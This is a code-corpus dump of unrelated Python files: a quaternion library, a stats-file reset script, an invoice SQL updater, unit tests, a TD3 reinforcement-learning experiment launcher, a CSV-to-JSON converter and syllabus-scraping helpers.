defined as a quaternion\n # with respect to the vector vect theta 'radians'\n def rotQuat(self, theta, vect):\n self.q = [cos(theta / 2.0), vect[0] * sin(theta / 2.0), vect[1] * sin(theta / 2.0),\n vect[2] * sin(theta / 2.0)]\n\n # devuelve la parte real del cuaternion\n def real(self):\n return self.q[0]\n\n # devuelve la parte imaginario\n def ima(self):\n return quat(0, self.q[1], self.q[2], self.q[3])\n\n # devuelve la coordenada i\n def qi(self):\n return self.q[1]\n\n # devuelve la coordenada j\n def qj(self):\n return self.q[2]\n\n # devuelve la coordenada i\n def qk(self):\n return self.q[3]\n\n # Devuleve por coordena\n def __getitem__(self, i):\n return self.q[i]\n\n\n# rotates a vector or a vector defined as a quaternion 0+xi+yj+zk with respect to a quaternion\n\ndef rotate(vect, quatern):\n if \"list\" in str(type(vect)):\n a = quat()\n for i in range(3):\n a.q[i + 1] = vect[i]\n vect = a\n rotq = (quatern * vect) / quatern\n ret = [rotq.q[0], rotq.q[1], rotq.q[2], rotq.q[3]] # original\n return ret\n\n\n# rotates a vector or a vector defined as a quaternion 0+xi+yj+zk with respect to a quaternion\n# lo modifique, no devuleve un cuaternion sino un vector [x,y,z]\ndef rotateV(vect, quatern):\n if \"list\" in str(type(vect)):\n a = quat()\n for i in range(3):\n a.q[i + 1] = vect[i]\n vect = a\n rotq = (quatern * vect) / quatern\n ret = [rotq.q[1], rotq.q[2], rotq.q[3]] # original\n return ret\n\n\n# rotates a vector v_to_rotate theta 'radians' with respect to v_about, both are vectors\n# but it uses quaternions\ndef rotateH(v_to_rotate, theta, v_about):\n a = quat(0, v_to_rotate[0], v_to_rotate[1], v_to_rotate[2])\n b = quat(cos(theta / 2), v_about[0] * sin(theta / 2), v_about[1] * sin(theta / 2), v_about[2] * sin(theta / 2))\n v_rotated = [0, 0, 0]\n vq = rotate(a, b)\n for i in range(4):\n if i < 3:\n v_rotated[i] = vq.q[i + 1]\n return v_rotated\n\n\n# metric tensor defaul basis [[1,0,0,0],[0,1,0,0],[0,0,1,0],[0,0,0,1]]\n# fe. for Minkowski use [[1,0,0,0],[0,1,0,0],[0,0,1,0],[0,0,0,-1]]\n# q1T[basis]q2\n# for R3 MT(A,B,[[1,0,0,0],[0,1,0,0],[0,0,1,0],[0,0,0,0]])\n\ndef MT(q1, q2, basis=[[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]]):\n a = [0, 0, 0, 0]\n s = 0\n for i in range(4):\n for j in range(4):\n a[i] = a[i] + q2.q[j] * basis[i][j]\n for i in range(4):\n s = s + q1.q[i] * a[i]\n return s\n\n\ndef quat_to_rotMat(q):\n rm = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]\n for i in range(3):\n rm[i][i] = MT(q, q, md[i])\n rm[0][1] = 2 * (q.q[1] * q.q[2] - q.q[0] * q.q[3])\n rm[0][2] = 2 * (q.q[1] * q.q[3] + q.q[0] * q.q[2])\n rm[1][0] = 2 * (q.q[1] * q.q[2] + q.q[0] * q.q[3])\n rm[1][2] = 2 * (q.q[2] * q.q[3] - q.q[0] * q.q[1])\n rm[2][0] = 2 * (q.q[1] * q.q[3] - q.q[0] * q.q[2])\n rm[2][1] = 2 * (q.q[3] * q.q[2] + q.q[0] * q.q[1])\n return rm\n\n\ndef norm2(q):\n s = 0\n for i in range(4):\n s = s + q.q[i] ** 2\n return s\n\n\n\"\"\"\nPI = 3.14159265\nv0 = quat()\nv0.rotQuat(PI/3,[0,0,1]) #vector para rotar pi/3 (60 grados) en respecto al eje z\nv1 = copy.deepcopy(v0)\nv1.C()\n#print v0*v1\n\nrot_e1 = rotate([1,0,0],v0) # rotar e_1 60 grados alrededor de z\nrot_e2 = rotate([0,1,0],v0) # rotar e_2 60 grados alrededor de z\n#print rot_e1\nq0 = quat(-0.579, 0.330, -0.276, 0.692)\ninvq0 = quat(-0.579, -0.330, 0.276, -0.692)\n\nq1 = quat(-0.666, 0.038, -0.489, 0.562)\ninvq1 = quat(-0.666, -0.038, 0.489, -0.562)\n\nq3 = invq0*q1\nq4 = q1*invq0\nq5 = q0*invq1\nprint q3\nprint q4\nprint q5 #parece que esto es\n\nrot_e1 = rotate([1,0,0],q5) \nrot_e2 = rotate([0,1,0],q5) \nrot_e3 = rotate([0,0,1],q5) \nprint rot_e1 \nprint rot_e2\nprint rot_e3\nprint sqrt(3)/2\nprint sqrt(2)/2\nprint 2*acos(0.922022)\n\n\nu = [1,2,3]\nI =quat(1,0,0,0)\nq1 = quat(sqrt(2)/2, sqrt(2)/2, 0.0,0.0)\nq2 = quat(sqrt(2)/2, 0.0, -sqrt(2)/2, 0.0)\nq = q2*q1\nq0 = I/q\n\nv1 = rotateV(u,q0)\n\nprint v1\nq = quat(sqrt(2)/2, 0.0, 0.0,sqrt(2)/2)\nprint rotate([1,0,0],q)\n\nqxz = quat(sqrt(2)/2,0,sqrt(2)/2,0)\nqyz = quat(sqrt(2)/2,sqrt(2)/2,0,0)\nqxy = quat(sqrt(2)/2,0,0,sqrt(2)/2)\nqxyyz = qxy * qyz\nqxyxz = qxy * qyz\nq5 = qxz\nrot_e1 = rotate([1,0,0],q5) \nrot_e2 = rotate([0,1,0],q5) \nrot_e3 = rotate([0,0,1],q5) \nprint rot_e1 \nprint rot_e2\nprint rot_e3\n\"\"\"\n","sub_path":"quaternion_lib.py","file_name":"quaternion_lib.py","file_ext":"py","file_size_in_byte":7513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"629138816","text":"import json\nfrom .log import print_log\nimport os\n\n\nclass Update_File():\n\n def update_file(self):\n pass\n try:\n file_path = \"/data/stats/\"\n file_list = os.listdir(file_path)\n tmp_today = {}\n for file_name in file_list:\n f = open(file_path+file_name, \"r\")\n line = f.read()\n line_dict = json.loads(line)\n tmp_today.update(line_dict)\n zero = [0, 0, 0]\n for key in tmp_today:\n tmp_today[key] = zero\n f.close()\n f = open(file_path+file_name, \"w\")\n f.write(json.dumps(tmp_today))\n f.close()\n print_log(\"info\",\"%s has been updated\"%file_name)\n except Exception as e:\n print_log(\"error\",\"%s update failed, because %s\"%(file_name,str(e)))\n\n try:\n os.system(\"sudo rm /usr/local/lib/python3.8/dist-packages/VESA-3.8-project/nohup.out\")\n print_log(\"info\",\"nohup.out has been deleted\")\n except Exception as e:\n print_log(\"error\",\"nohuo.out delete failed, because %s\"%str(e))\n \n def action(self):\n self.update_file()\n\n def add_file(self):\n try:\n file_path = \"/data/stats/\"\n file_list = os.listdir(file_path)\n file_list.remove(\"daily_stats.txt\")\n tmp_today = {}\n for file_name in file_list:\n f = open(file_path + file_name, \"r\")\n line = f.read()\n line_dict = json.loads(line)\n tmp_today.update(line_dict)\n f.close()\n f = open(\"/data/stats/daily_stats.txt\", \"w\")\n f.write(json.dumps(tmp_today))\n f.close()\n print_log(\"info\", \"daily_stats.txt has been updated\")\n except Exception as e:\n print_log(\"error\", \"daily_stats.txt update failed, because %s\" % str(e))\n\n\n","sub_path":"common/update_stats_file.py","file_name":"update_stats_file.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"629456753","text":"from config.config import connection_string\nfrom datetime import datetime, timedelta\nfrom actions.invoice_status import get_state_type_uuid\nimport pandas.io.sql as psql\nimport psycopg2 as pg\n\nconnection = pg.connect(connection_string())\ncursor = connection.cursor()\n\ndef handle(**kwarg):\n csv_id = kwarg[\"csv\"]\n invoices_to_change = kwarg[\"affects\"]\n limit_phrase = \";\" if invoices_to_change == \"*\" else f\" LIMIT {invoices_to_change};\"\n\n # grab invoices on this csv with status of 'Billed'.\n cursor.execute(f\"\"\"SELECT I.\"InvoiceId\"\n FROM \"InvoiceBatch\" IB\n LEFT JOIN \"InvoiceBatchMapping\" IBM ON IBM.\"InvoiceBatchId\" = IB.\"InvoiceBatchId\" AND IB.\"CsvId\" = '{csv_id}'\n LEFT JOIN \"Invoice\" I on IBM.\"InvoiceId\" = I.\"InvoiceId\"\n LEFT JOIN \"InvoiceState\" IT ON I.\"InvoiceId\" = IT.\"InvoiceId\"\n LEFT JOIN \"InvoiceStateType\" IST ON IST.\"InvoiceStateTypeId\" = IT.\"InvoiceStateTypeId\"\n WHERE \"InvoiceStateTypeDesc\" = 'Billed'{limit_phrase}\"\"\")\n update_candidates = cursor.fetchall()\n print(f\"{len(update_candidates)} invoices to be updated.\")\n\n count = 0\n for each in update_candidates:\n # update the invoice meta data column to be:\n # InvoiceDate (\"MM/DD/YYYY\") 15 days prior to today \n # DueDate (\"MM/DD/YYYY\") today\n invoice_id = each[0]\n fifteen_days_ago = datetime.now() - timedelta(15)\n invoice_date = f\"{fifteen_days_ago.month}/{fifteen_days_ago.day}/{fifteen_days_ago.year}\"\n due_date = f\"{datetime.now().month}/{datetime.now().day}/{datetime.now().year}\"\n\n cursor.execute(f\"\"\"UPDATE \"Invoice\" SET \"InvoiceMetadata\" = \"InvoiceMetadata\" || '{{\"InvoiceDate\": \"{invoice_date}\"}}' WHERE \"InvoiceId\" = '{invoice_id}';\"\"\", connection)\n cursor.execute(f\"\"\"UPDATE \"Invoice\" SET \"InvoiceMetadata\" = \"InvoiceMetadata\" || '{{\"DueDate\": \"{due_date}\"}}' WHERE \"InvoiceId\" = '{invoice_id}';\"\"\", connection)\n count += 1\n\n connection.commit()\n connection.close()\n print(f\"\"\"{count} out of {len(update_candidates)} invoices updated.\"\"\")","sub_path":"actions/bill_charge_date.py","file_name":"bill_charge_date.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"352612795","text":"\"\"\"\nWrite a Python program that outputs all possible strings formed by using thecharacters c , a , t , d , o ,\nand g exactly once.\n\"\"\"\n\n\ndef f1(iter1, iter2):\n return [[x] + list(iter2) for x in iter1]\n\n\ndef f2():\n characters = {\"c\", \"a\", \"t\", \"d\", \"o\", \"g\"}\n result = [[x] for x in characters]\n new_result = []\n n = 1\n\n while n < len(characters):\n for item in result:\n remainder = characters - set(item)\n new_result += f1(remainder, item)\n result = new_result\n new_result = []\n n = len(result[0])\n return result\n\n\nif __name__ == \"__main__\":\n output = f2()\n assert len(output) == 6 * 5 * 4 * 3 * 2 * 1\n","sub_path":"DSAP/ch01/p_1_29.py","file_name":"p_1_29.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"396863896","text":"import pytest\n\nfrom otx.mpa import Stage\nfrom otx.mpa.cls.stage import ClsStage\nfrom tests.test_suite.e2e_test_system import e2e_pytest_unit\nfrom tests.unit.algorithms.classification.test_helper import setup_mpa_task_parameters\n\n\nclass TestOTXClsStage:\n @pytest.fixture(autouse=True)\n def setup(self) -> None:\n self.model_cfg, self.data_cfg, recipie_cfg = setup_mpa_task_parameters(\n task_type=\"incremental\", create_test=True, create_val=True\n )\n self.stage = ClsStage(name=\"\", mode=\"train\", config=recipie_cfg, common_cfg=None, index=0)\n\n @e2e_pytest_unit\n def test_configure(self, mocker):\n mock_cfg_model = mocker.patch.object(ClsStage, \"configure_model\")\n mock_cfg_ckpt = mocker.patch.object(ClsStage, \"configure_ckpt\")\n mock_cfg_data = mocker.patch.object(ClsStage, \"configure_data\")\n mock_cfg_task = mocker.patch.object(ClsStage, \"configure_task\")\n\n fake_arg = {\"pretrained\": True, \"foo\": \"bar\"}\n returned_value = self.stage.configure(self.model_cfg, \"\", self.data_cfg, True, **fake_arg)\n mock_cfg_model.assert_called_once_with(self.stage.cfg, self.model_cfg, True, **fake_arg)\n mock_cfg_ckpt.assert_called_once_with(self.stage.cfg, \"\", fake_arg.get(\"pretrained\", None))\n mock_cfg_data.assert_called_once_with(self.stage.cfg, self.data_cfg, True, **fake_arg)\n mock_cfg_task.assert_called_once_with(self.stage.cfg, True, **fake_arg)\n\n assert returned_value == self.stage.cfg\n\n @e2e_pytest_unit\n def test_configure_model(self):\n fake_arg = {\"ir_model_path\": {\"ir_weight_path\": \"\", \"ir_weight_init\": \"\"}}\n self.stage.configure_model(self.stage.cfg, self.model_cfg, True, **fake_arg)\n\n assert self.stage.cfg.model_task\n\n @e2e_pytest_unit\n def test_configure_data(self, mocker):\n mock_super_cfg_data = mocker.patch.object(Stage, \"configure_data\")\n self.stage.configure_data(self.stage.cfg, self.data_cfg, True, pretrained=None)\n\n mock_super_cfg_data.assert_called_once()\n assert self.stage.cfg.data\n assert self.stage.cfg.data.train\n assert self.stage.cfg.data.val\n\n @e2e_pytest_unit\n def test_configure_task(self, mocker):\n mock_cfg_classes = mocker.patch.object(ClsStage, \"configure_classes\")\n self.stage.configure_task(self.stage.cfg, True)\n\n mock_cfg_classes.assert_called_once()\n\n @e2e_pytest_unit\n def test_configure_classes(self, mocker):\n mocker.patch.object(Stage, \"get_model_classes\", return_value=[\"foo\", \"bar\"])\n mocker.patch.object(Stage, \"get_data_cfg\", return_value=self.data_cfg)\n self.stage.configure_classes(self.stage.cfg)\n\n assert self.stage.model_classes == [\"foo\", \"bar\"]\n\n @e2e_pytest_unit\n def test_configure_configure_topk(self):\n self.stage.cfg.model.head.num_classes = 2\n self.stage.configure_topk(self.stage.cfg)\n\n assert self.stage.cfg.model.head.topk == (1,)\n","sub_path":"tests/unit/mpa/cls/test_cls_stage.py","file_name":"test_cls_stage.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"588291108","text":"from rlkit.envs.multitask.multitask_env import MultitaskToFlatEnv\nfrom rlkit.envs.multitask.point2d import MultitaskPoint2DEnv\nfrom rlkit.envs.mujoco.pusher2d import Pusher2DEnv\nfrom rlkit.envs.wrappers import NormalizedBoxEnv\nfrom rlkit.exploration_strategies.base import (\n PolicyWrappedWithExplorationStrategy\n)\nfrom rlkit.exploration_strategies.epsilon_greedy import EpsilonGreedy\nfrom rlkit.exploration_strategies.gaussian_strategy import GaussianStrategy\nfrom rlkit.exploration_strategies.ou_strategy import OUStrategy\nfrom rlkit.launchers.launcher_util import run_experiment\nfrom rlkit.torch.networks import (\n ConcatMlp, TanhMlpPolicy, ImageStatePolicy, ImageStateQ,\n MergedCNN, CNNPolicy,\n)\nimport rlkit.torch.pytorch_util as ptu\nfrom rlkit.torch.td3.td3 import TD3\nimport rlkit.misc.hyperparameter as hyp\nfrom rlkit.launchers.arglauncher import run_variants\n\nfrom multiworld.core.gym_to_multi_env import GymToMultiEnv\nfrom multiworld.core.image_env import ImageEnv\n\nimport gym\nimport torch\n\ndef her_td3_experiment(variant):\n import multiworld.envs.mujoco\n import multiworld.envs.pygame\n import rlkit.samplers.rollout_functions as rf\n import rlkit.torch.pytorch_util as ptu\n from rlkit.exploration_strategies.base import (\n PolicyWrappedWithExplorationStrategy\n )\n from rlkit.exploration_strategies.epsilon_greedy import EpsilonGreedy\n from rlkit.exploration_strategies.gaussian_strategy import GaussianStrategy\n from rlkit.exploration_strategies.ou_strategy import OUStrategy\n from rlkit.torch.grill.launcher import get_video_save_func\n from rlkit.torch.her.her_td3 import HerTd3\n from rlkit.data_management.obs_dict_replay_buffer import (\n ObsDictRelabelingBuffer\n )\n\n if 'env_id' in variant:\n env = gym.make(variant['env_id'])\n else:\n env = variant['env_class'](**variant['env_kwargs'])\n\n imsize = 84\n env = GymToMultiEnv(env.env) # unwrap TimeLimit\n env = ImageEnv(env, non_presampled_goal_img_is_garbage=True)\n\n observation_key = variant['observation_key']\n desired_goal_key = variant['desired_goal_key']\n variant['algo_kwargs']['her_kwargs']['observation_key'] = observation_key\n variant['algo_kwargs']['her_kwargs']['desired_goal_key'] = desired_goal_key\n if variant.get('normalize', False):\n raise NotImplementedError()\n\n achieved_goal_key = desired_goal_key.replace(\"desired\", \"achieved\")\n replay_buffer = ObsDictRelabelingBuffer(\n env=env,\n observation_key=observation_key,\n desired_goal_key=desired_goal_key,\n achieved_goal_key=achieved_goal_key,\n **variant['replay_buffer_kwargs']\n )\n obs_dim = env.observation_space.spaces[observation_key].low.size\n action_dim = env.action_space.low.size\n goal_dim = env.observation_space.spaces[desired_goal_key].low.size\n exploration_type = variant['exploration_type']\n if exploration_type == 'ou':\n es = OUStrategy(\n action_space=env.action_space,\n **variant['es_kwargs']\n )\n elif exploration_type == 'gaussian':\n es = GaussianStrategy(\n action_space=env.action_space,\n **variant['es_kwargs'],\n )\n elif exploration_type == 'epsilon':\n es = EpsilonGreedy(\n action_space=env.action_space,\n **variant['es_kwargs'],\n )\n else:\n raise Exception(\"Invalid type: \" + exploration_type)\n\n use_images_for_q = variant[\"use_images_for_q\"]\n use_images_for_pi = variant[\"use_images_for_pi\"]\n\n qs = []\n for i in range(2):\n if use_images_for_q:\n image_q = MergedCNN(input_width=imsize,\n input_height=imsize,\n output_size=1,\n input_channels=3,\n added_fc_input_size=action_dim,\n **variant['cnn_params'])\n q = ImageStateQ(image_q, None)\n else:\n state_q = ConcatMlp(\n input_size=action_dim + goal_dim,\n output_size=1,\n **variant['qf_kwargs']\n )\n q = ImageStateQ(None, state_q)\n qs.append(q)\n qf1, qf2 = qs\n\n if use_images_for_pi:\n image_policy = CNNPolicy(input_width=imsize,\n input_height=imsize,\n output_size=action_dim,\n input_channels=3,\n **variant['cnn_params'],\n output_activation=torch.tanh,\n )\n policy = ImageStatePolicy(image_policy, None)\n else:\n state_policy = TanhMlpPolicy(\n input_size=goal_dim,\n output_size=action_dim,\n **variant['policy_kwargs']\n )\n policy = ImageStatePolicy(None, state_policy)\n\n exploration_policy = PolicyWrappedWithExplorationStrategy(\n exploration_strategy=es,\n policy=policy,\n )\n algorithm = HerTd3(\n env,\n qf1=qf1,\n qf2=qf2,\n policy=policy,\n exploration_policy=exploration_policy,\n replay_buffer=replay_buffer,\n **variant['algo_kwargs']\n )\n if variant.get(\"save_video\", False):\n rollout_function = rf.create_rollout_function(\n rf.multitask_rollout,\n max_path_length=algorithm.max_path_length,\n observation_key=algorithm.observation_key,\n desired_goal_key=algorithm.desired_goal_key,\n )\n video_func = get_video_save_func(\n rollout_function,\n env,\n policy,\n variant,\n )\n algorithm.post_epoch_funcs.append(video_func)\n algorithm.to(ptu.device)\n algorithm.train()\n\ndef experiment(variant):\n\n if variant['normalize']:\n env = NormalizedBoxEnv(env)\n exploration_type = variant['exploration_type']\n if exploration_type == 'ou':\n es = OUStrategy(action_space=env.action_space)\n elif exploration_type == 'gaussian':\n es = GaussianStrategy(\n action_space=env.action_space,\n max_sigma=0.1,\n min_sigma=0.1, # Constant sigma\n )\n elif exploration_type == 'epsilon':\n es = EpsilonGreedy(\n action_space=env.action_space,\n prob_random_action=0.1,\n )\n else:\n raise Exception(\"Invalid type: \" + exploration_type)\n obs_dim = env.observation_space.low.size\n action_dim = env.action_space.low.size\n qf1 = ConcatMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[400, 300],\n )\n qf2 = ConcatMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[400, 300],\n )\n policy = TanhMlpPolicy(\n input_size=obs_dim,\n output_size=action_dim,\n hidden_sizes=[400, 300],\n )\n exploration_policy = PolicyWrappedWithExplorationStrategy(\n exploration_strategy=es,\n policy=policy,\n )\n algorithm = TD3(\n env,\n qf1=qf1,\n qf2=qf2,\n policy=policy,\n exploration_policy=exploration_policy,\n **variant['algo_kwargs']\n )\n if ptu.gpu_enabled():\n algorithm.to(ptu.device)\n algorithm.train()\n\n\nif __name__ == \"__main__\":\n # noinspection PyTypeChecker\n variant = dict(\n algo_kwargs=dict(\n base_kwargs=dict(\n num_epochs=1001,\n num_steps_per_epoch=1000,\n num_steps_per_eval=1000,\n max_path_length=100,\n num_updates_per_env_step=4,\n batch_size=128,\n discount=0.99,\n min_num_steps_before_training=4000,\n reward_scale=100,\n render=False,\n collection_mode='online',\n parallel_env_params=dict(\n num_workers=1,\n )\n ),\n her_kwargs=dict(\n observation_key='state_observation',\n desired_goal_key='state_desired_goal',\n ),\n td3_kwargs=dict(),\n ),\n replay_buffer_kwargs=dict(\n max_size=int(1E6),\n fraction_goals_are_rollout_goals=1.0,\n fraction_resampled_goals_are_env_goals=0.0,\n ob_keys_to_save=[],\n ),\n qf_kwargs=dict(\n hidden_sizes=[400, 300],\n ),\n policy_kwargs=dict(\n hidden_sizes=[400, 300],\n ),\n algorithm='HER-TD3',\n version='normal',\n es_kwargs=dict(\n max_sigma=.8,\n ),\n exploration_type='ou',\n observation_key='image_observation',\n desired_goal_key='state_observation',\n do_state_exp=True,\n save_video=False,\n\n snapshot_mode='gap_and_last',\n snapshot_gap=100,\n\n cnn_params=dict(\n kernel_sizes=[3, 3],\n n_channels=[16, 16],\n strides=[2, 2],\n pool_sizes=[1, 1],\n hidden_sizes=[400, 300],\n paddings=[0, 0],\n use_batch_norm=False,\n ),\n\n use_images_for_q=True,\n use_images_for_pi=True,\n num_exps_per_instance=3,\n )\n\n n_seeds = 1\n\n search_space = {\n 'exploration_type': [\n 'ou',\n ],\n 'algo_kwargs.base_kwargs.reward_scale': [0.1, 1, 10],\n 'seedid': range(n_seeds),\n 'env_id': ['Humanoid-v2', 'Ant-v2', 'HalfCheetah-v2', 'Hopper-v2', 'Walker2d-v2'],\n 'use_images_for_q': [False],\n 'use_images_for_pi': [False],\n }\n sweeper = hyp.DeterministicHyperparameterSweeper(\n search_space, default_parameters=variant,\n )\n run_variants(her_td3_experiment, sweeper.iterate_hyperparameters(), run_id=1)\n","sub_path":"experiments/ashvin/imagerl/gym/rl_from_images_conv_state_only.py","file_name":"rl_from_images_conv_state_only.py","file_ext":"py","file_size_in_byte":9681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"260119186","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nJobber Bekkers\n10543988\n\nconverts a scv file to a JSON file\n\"\"\"\n\nimport csv\nimport json\n# for my machine the entier pathway must be given, tim knows\nwith open('C:/Users/Jobber/Documents/GitHub/dataprocessing/Problem7/Homework/D3LinkedViews/data.json', 'w') as g:\n with open('C:/Users/Jobber/Documents/GitHub/dataprocessing/Problem7/Homework/D3LinkedViews/LiteracyData.csv') as f:\n # copy the headers from the csv file\n headers = ('SeriesName','SeriesCode','CountryName','CountryCode','Data')\n # read the csv file\n read = csv.DictReader(f, headers)\n # count the rows, as the first rows are usually info on the data not the data itself.\n counter = 1\n info = []\n for row in read:\n if (counter > 1):\n info.append(row)\n counter += 1\n h = json.dump(info, g)\n","sub_path":"Problem7/Homework/D3LinkedViews/convertCSV2JSON.py","file_name":"convertCSV2JSON.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"628292591","text":"import time\ndef exp_sum(n):\n\tif n < 0:\n\t\treturn 0\n\tdp = [1]+[0]*n\n\tfor num in xrange(1,n+1):\n\t\tfor i in xrange(num,n+1):\n\t\t\tdp[i] += dp[i-num]\n\treturn dp[-1]\n\nbegin = time.time()\nprint(exp_sum(100))\nperiod = time.time() - begin\nprint(period)\n","sub_path":"datastructures/exp_sum.py","file_name":"exp_sum.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"511641142","text":"import os\nimport re\nimport calendar_scraper as cs\nimport textract\nimport instructor \n\n\nDATE_FORMATS = {\n '1': \"Jan {}, January {}, 1/{}, Jan {}{}, January {}{}, Jan. {}\",\n '2': \"Feb {}, February {}, 2/{}, Feb {}{}, February {}{}, Feb. {}\",\n '3': \"Mar {}, March {}, 3/{}, Mar {}{}, March {}{}, Mar. {}\",\n '4': \"Apr {}, April {}, 4/{}, Apr {}{}, April {}{}, Apr. {}\",\n '5': \"May {}, May {}, 5/{}, May {}{}, May {}{}\",\n '6': \"Jun {}, June {}, 6/{}, Jun {}{}, Jun {}{}, Jun. {}\",\n '11': \"Nov {}, November {}, 11/{}, Sep {}{}, Sep {}{}, Sep. {}\",\n '12': \"Dec {}, December {}, 12/{}, Dec {}{}, Dec {}{}, Dec. {}\"\n}\n\nDAY_SUFFIXES = {\n '1': \"st\",\n '2': \"nd\",\n '3': \"rd\",\n '4': \"th\",\n '5': \"th\",\n '6': \"th\",\n '7': \"th\",\n '8': \"th\",\n '9': \"th\",\n '0': \"th\"\n}\n\n\ndef clean_pdf(directory, syllabus):\n '''\n Cleans a textracted PDF file containing a syllabus: decodes it from utf-8\n format into string text, replaces all special whitespace characters with\n a single white space, and converts the string to all lowercase. Essentially\n makes a textracted PDF easier to read.\n\n Inputs:\n syllabus: (str) Path to a single PDF file containing a syllabus.\n\n Returns:\n The cleaned, easier-to-read PDF text.\n '''\n\n syllabus_text = textract.process(directory + \"/\" + syllabus)\n syllabus_text = syllabus_text.decode('utf-8')\n syllabus_text = re.sub(r\"\\s+\", ' ', syllabus_text)\n syllabus_text = re.sub(r\"\\xad\", \"-\", syllabus_text)\n syllabus_text = re.sub(r\"\\–\", \"-\", syllabus_text)\n syllabus_text = syllabus_text.lower()\n\n return syllabus_text\n\n\ndef iterate_professors(directory):\n '''\n Iterates over all syllabi in a directory and returns a \n dictionary mapping a course name to a professor name \n\n Inputs: \n directory: (str) Path to the directory containing syllabi as PDFs.\n \n Return: \n A dictionary mapping each course to the professor name\n '''\n\n syllabi_dict = {}\n\n for folder in os.listdir(directory):\n quarter = re.search(r'\\D+', folder).group()\n quarter = quarter[0].upper() + quarter[1:]\n year = '20' + re.search(r'\\d+', folder).group()\n subdirectory = directory + \"/\" + folder\n for syllabus in os.listdir(subdirectory):\n syllabus_text = clean_pdf(subdirectory, syllabus)\n dept = re.search(r'[A-Z]{4}', syllabus).group()\n course_num = re.search(r'\\d{5}', syllabus).group()\n syllabi_dict[subdirectory+syllabus] = instructor.get_professor(\n syllabus_text, quarter, year, dept, course_num) \n\n return syllabi_dict\n\n\ndef iterate_through_syllabi(directory, function, year):\n '''\n Carries out a regular expression function on all syllabi in a directory,\n and returns a dictionary mapping each course to the regex function output.\n\n Inputs:\n directory: (str) Path to the directory containing syllabi as PDFs.\n function: A function containing regular expressions that will be \n applied to the text of the syllabi.\n year: (int) year (eg 2018, 2019 etc.)\n \n Returns:\n A dictionary mapping each course to the function output.\n '''\n\n syllabi_dict = {}\n for syllabus in os.listdir(directory):\n syllabus_text = clean_pdf(directory, syllabus)\n syllabi_dict[syllabus] = function(syllabus_text, year) \n\n return syllabi_dict\n\n\ndef check_string(check_this_before, check_this_after, month_formats):\n '''\n splits string surrounding off day string into list of words and \n checks it for other dates or key words that might mislead the function \n that searches of assignments on off days and splices string for only relevant \n surrounding words\n\n Inputs: \n check_this_before: string before off day string to check\n check_this_after: string after off day string to check\n month_formats: months to look for based on which quarter \n\n Returns: \n list of words to search for key words \n '''\n\n month_formats += re.findall(r'\\d{1,2}/\\d{1,2}', check_this_before)\n month_formats += re.findall(r'\\d{1,2}/\\d{1,2}', check_this_after)\n month_formats += ['m','w','th','f']\n check_this_before = check_this_before.split()\n check_this_after = check_this_after.split()\n new_list_before = check_this_before\n\n for word in check_this_before:\n if word in month_formats:\n num = check_this_before.index(word)\n new_list_before = new_list_before[num + 1:]\n new_list_after = check_this_after\n\n for word in check_this_after:\n if word in month_formats:\n num = check_this_after.index(word)\n new_list_after = new_list_after[:num]\n new_list = new_list_before + new_list_after\n\n return new_list\n\n\ndef get_checks(items, text):\n '''\n Gets the string of text to check around a certain indicator word \n\n Inputs:\n items: the indicator word around which we need to check (a match object)\n text: the raw text being searched (str)\n\n Output: \n A tuple, the first element in the tuple is the 50 characters before \n the indicator, to check and the second element is the 50 charactrs \n after the indicator to check \n '''\n\n indicies = items.span()\n check_this_before = text[indicies[0] - 50: indicies[0]]\n check_this_after = text[indicies[1]:indicies[1] + 51]\n\n return check_this_before,check_this_after\n\n\ndef get_numerical_formats(quarter, year, off_day):\n '''\n Obtains the numerical formats for off-days in a given quarter and year, to \n use in regular expressions to find off-days in a syllabus PDF.\n\n Inputs:\n quarter: (str) The quarter of interest.\n year: (int) The year of interest.\n off_day: (str) The name of the off-day we would like to obtain formats\n for.\n\n Returns:\n A list of strings that are the numerical formats of the off-day.\n '''\n\n datetime = cs.get_datetimes_from_calendar(quarter, year)\n month = str(datetime[off_day][0].month)\n day = str(datetime[off_day][0].day)\n suffix = DAY_SUFFIXES[day[-1]]\n\n s = DATE_FORMATS[month].format(\\\n day, day, day, day, suffix, day, suffix, day)\n date_formats = s.split(\", \")\n\n return date_formats\n\n\ndef get_num_assignments(formats, text, month_formats, key_words):\n '''\n Scrape text and return number of assignments due for a given holiday\n\n Inputs: \n formats: formats of holiday words to check for (i.e. \"MLK\", \"Martin Luther King Day\", \"MLK Day\")(\n list of strings )\n text: the syllabi to scrape (str)\n month_formats: months and their formats to check the syllabi for (list of strings)\n key_words: words to check for that indicate an assignment due\n\n Output: \n a tuple, where the first element of the tuple is the number of assignments due \n and the second element of the tuple is a list of match objects to check if \n any assignments are due in the syllabus\n '''\n \n check_list = []\n num_due_assignments = 0 \n for s in formats: \n frag = re.search(s,text)\n check_list.append(frag)\n if frag is not None: \n check = get_checks(frag, text)\n new_list = check_string(check[0], check[1], month_formats)\n for word in new_list: \n if word in key_words:\n num_due_assignments += 1 \n break\n\n return (num_due_assignments, check_list) ","sub_path":"syllabi_scraping/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":7533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
